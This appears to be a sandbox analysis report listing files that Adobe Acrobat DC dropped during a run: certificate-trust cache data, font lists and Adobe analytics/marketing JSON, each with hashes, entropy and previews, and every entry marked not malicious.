Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklw2mRG+M/tfllXlE/HT8kH7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKpNG+M/eT8iNMa8RdWBwRd
MD5:	146AF47542AE4288D6126EC7722E382A
SHA1:	8A0B3DFB1F7A7058D2C8AFFC901C242D77F3AE65
SHA-256:	0AFD8D3DE5A6008C2F573BC8E369BC421CA01F6F23F0849BCDC04A0BC6EDCC11
SHA-512:	C81EC3FDF0A9D333B2943903F3C133366F73E68F0D88E119E6E94EED1464059B66185EAA8E2A5500CCA242A8D04315FD71D58C7DE0E616BFE2EF6F8610C82C99
Malicious:	false
Preview:	p...... ..........e..c..(....................................................... ..........W....1S..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKwyL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XiDnLNkPlE99SNxAhUe/3
MD5:	D3F987CB1C41039C8E56F08646ED8AC7
SHA1:	AA420D2C63980BB853A0988D2617E3319321D391
SHA-256:	B557F0AECEB5F6F30B7F98F55A3F6B1B87B9C4953D3DFBE45C95E4FA49218D8D
SHA-512:	0F70892C8B81323E7752BE9D28FFD3C1E0771D3434C5D47BABC98479D1D75F91DC14A92BADCC01866ABF63AFF656E5DA22FAB61028A5145978896115858B82C6
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335984858029903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJM3g98kUwPeUkwRe9:YvXKXBK2vR/ZwHAIGMbLUkee9
MD5:	046FA0424531C6AAEA7354F0EAF74B94
SHA1:	CB9B4812E172B5AB179B07078B9BA415660CFE12
SHA-256:	C02CA548E8C15DC0AD55F09E1112FC25693C8EA584CF58CF858C2F357C0686AD
SHA-512:	E5417294635AE227D4333BC2815827942339C0BC70BA361D90EF8858B016AA73E37FE6712A645D1B419616800AFE4636AF94C632A348ABFAE2D22909548A7C0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.268754904185873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfBoTfXpnrPeUkwRe9:YvXKXBK2vR/ZwHAIGWTfXcUkee9
MD5:	16FCA80BA18DFC313FC916C1D09D5D6D
SHA1:	CE29048616F683BB86D6712891E6C19813952F93
SHA-256:	58EBA437D0416C8362EE1B2E59E358D318F101F6F68B331E0D36AAD21025DFE2
SHA-512:	F135F0C81B96152B32943778836E731DEB44572DAE7F088DFEA9151CF2A2019654265E5099D1484044AF3B732B4E234971EF8B4BF7A103E8526594541879A58B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247749939580949
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfBD2G6UpnrPeUkwRe9:YvXKXBK2vR/ZwHAIGR22cUkee9
MD5:	A4147113A7EE83595B9A5DEC431541B8
SHA1:	BCE77F1A962AAE05D2C6F5A37BB78945EB87D2A9
SHA-256:	9B240E3B84988102D1E8BC5F2B039BF797D7477874FE6676F3A575A346159556
SHA-512:	0758EA3C2EFAB7292E78BF4119AE6270B98D112B23A0FCCA41049149B6ACFB39538290B7AB4E4B74FD189C02CF24FA9B9B8042BD779F5F97F2FB99FFF1A0DE1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.311972754459855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfPmwrPeUkwRe9:YvXKXBK2vR/ZwHAIGH56Ukee9
MD5:	ECF26B085A16C81706D1EB8BF6EB9E20
SHA1:	4A218B506AC64FAB6BF5A6E2EB5BB55DE1525873
SHA-256:	14417DCD89D1ADE0DC8A40AC7B3CACC750E65935D1DC416C1D681828495BFBB6
SHA-512:	A4395473077A4BFE2636D295164FD36CBAAF1033920CF4E9C793C9C891BE62CD43E959C99C0EAE6E42CFD1737553E990B3FC89732A98AA8B46EFEFBD6663C6B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691678965479158
Encrypted:	false
SSDEEP:	24:Yv6Xw2JhZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvWJhZhgy6SAFv5Ah8cv/Q
MD5:	D782C9545A32CCB62CD6A4A4BF9100AC
SHA1:	988177A804C98A628F6BA6DA9B005109489F9D48
SHA-256:	0249C854BC97F0BD77B0FCC85778811405A8B141959A3288D6B5A44756685487
SHA-512:	92E4C3C74FED62DB2706C370F59C9E0417B023E87280957BCD53BD6F1A21044B0BCA4F9D145E15DA546445576ACD79F311C277A32806F7A48124473A2FFBEEB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259596433902855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJf8dPeUkwRe9:YvXKXBK2vR/ZwHAIGU8Ukee9
MD5:	BD00CCCC430DD95676E02C86852F9B4D
SHA1:	A2A523385F580A7A35C6DC90F37AC7C580C0841A
SHA-256:	0D6BF51B31AA1AAE67C5700B7B07B13E5638B85C4FD224E92D602B8541E18B3B
SHA-512:	E6FB2AE79D20BB9CAE882CAC33E9F8E3544924D67B8471B98207453702E4B0578311004C7DC5EE9B6A3F148D3BEBB7AA43FE3FBEA5BFC66721A2DE30E8C90D59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258690506675494
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfQ1rPeUkwRe9:YvXKXBK2vR/ZwHAIGY16Ukee9
MD5:	61B5E7D73AD128B5D78888C2367D468B
SHA1:	64843C656C682FE9C39E15D99C090143A273F7EC
SHA-256:	00C0171B69BCA877F42818B1BB2E78AF2CFEEABC16E6FBBA88C6F06165517407
SHA-512:	216474F43487E93FD8C65AD85D5E1F3E281AE10C6D4B80683870573397A32F7EDCEF226FD4364469321B3DD88D5C6FC928416A0383753EDACE645782FD548817
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27356397250526
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfFldPeUkwRe9:YvXKXBK2vR/ZwHAIGz8Ukee9
MD5:	2AF0928D46E8CB011CC3F7F04325B4D0
SHA1:	CA088D56644645060BDCA47B88B91CFF78D56F5A
SHA-256:	9374C62A6CE826B9B86A10C592E6658052DE281BD88AF769053DD289614184DF
SHA-512:	B11D13E461BFF9E2BC6CB040B0DC373E90EC0DA9F4F3B40D8EC32A0CD531E69400FAF80E1D0C3B3D590854ADE54BE6F62B00E701AD2AAD71F850937BF7BEB139
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.28767615285074
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfzdPeUkwRe9:YvXKXBK2vR/ZwHAIGb8Ukee9
MD5:	34EA6FABBCC1778B22CF83233329352E
SHA1:	11DB152F88455372277D7A4E48FD85B953F4653D
SHA-256:	7699F52879F09D085E4BDAB9BF8426A07D390D19CAEC486AA5C917357808B063
SHA-512:	A44BA01834C6D086E08DCC01BABA9E36FA68CE56C652F353809B72ACCF82A874C024F0533DA2A3658BEBD876F7C873BCD57AC7EE62DD28000702BD44CDE81444
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267939501840184
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfYdPeUkwRe9:YvXKXBK2vR/ZwHAIGg8Ukee9
MD5:	63E27F54A5868E4100517ED5DB97CA04
SHA1:	0EA611C66A47D3587E3532FFF73E5046B56E5927
SHA-256:	54DB4F933F21ACF04828F1C28A44ED9E8AF17153BCDEFA69412B74C855862D90
SHA-512:	9FF18B7A3931E0F97BAB5E9B69D5B19C4E8ECBEA3DAEF3050A29A3314EECC4EEA43B92E6CED3D4EBDC0BDB6C9D4A28BBCCFFFBB5C799213E6CA30F8772E27689
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2537244202005615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJf+dPeUkwRe9:YvXKXBK2vR/ZwHAIG28Ukee9
MD5:	152F5F1F72206B8CA0875771DD4B925A
SHA1:	2E7A99D4F2CE1BAA019332EA31D42B0561EFD246
SHA-256:	19567AA47ED5EDD63D4358D83D059B29936235E41D4421B5FF45C385612EDC0A
SHA-512:	7318C871A1F8D1F28731109C1CD1F6B13CBF777D03381BADC0912005496AC56BDF9A91C539A81BB01E4DF4B485D9EAA241B2FBBAAB86B624375BED09A18F43B2
Malicious:	false
